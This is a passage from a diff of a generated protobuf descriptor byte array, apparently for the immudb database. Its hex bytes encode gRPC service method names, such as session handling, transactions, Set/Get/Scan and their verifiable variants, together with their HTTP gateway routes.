0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, - 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, - 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, - 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, - 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, - 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, - 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, 0x22, 0x06, 0x2f, - 0x64, 0x62, 0x2f, 0x74, 0x78, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, - 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, - 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, - 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, - 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x18, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, - 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x12, 0x55, 0x0a, 0x06, - 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, - 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x92, - 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, - 0x6c, 0x74, 0x68, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, - 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x5d, 0x0a, - 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, + 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, + 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, + 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x12, 0x65, 0x0a, 0x0c, - 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, - 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x3a, 0x01, - 0x2a, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x29, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, + 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, + 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, + 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, + 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4f, 0x0a, 0x0a, + 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x30, 0x01, 0x12, 0x5d, 0x0a, + 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x19, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, + 0x2a, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x88, 0x02, 0x01, 0x12, 0x4f, 0x0a, 0x06, + 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a, 0x01, + 0x2a, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x88, 0x02, 0x01, 0x12, 0x4d, 0x0a, + 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, + 0x3a, 0x01, 0x2a, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x70, 0x0a, 0x0d, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, + 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, + 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x4d, + 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, + 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, + 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, - 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x3a, 0x01, - 0x2a, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x50, - 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, - 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, - 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, - 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, + 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, + 0x65, 0x74, 0x12, 0x5d, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, + 0x01, 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x6b, 0x65, + 0x79, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, + 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, + 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, + 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, + 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, + 0x63, 0x61, 0x6c, 0x6c, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, + 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, + 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, + 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, + 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, + 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, + 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 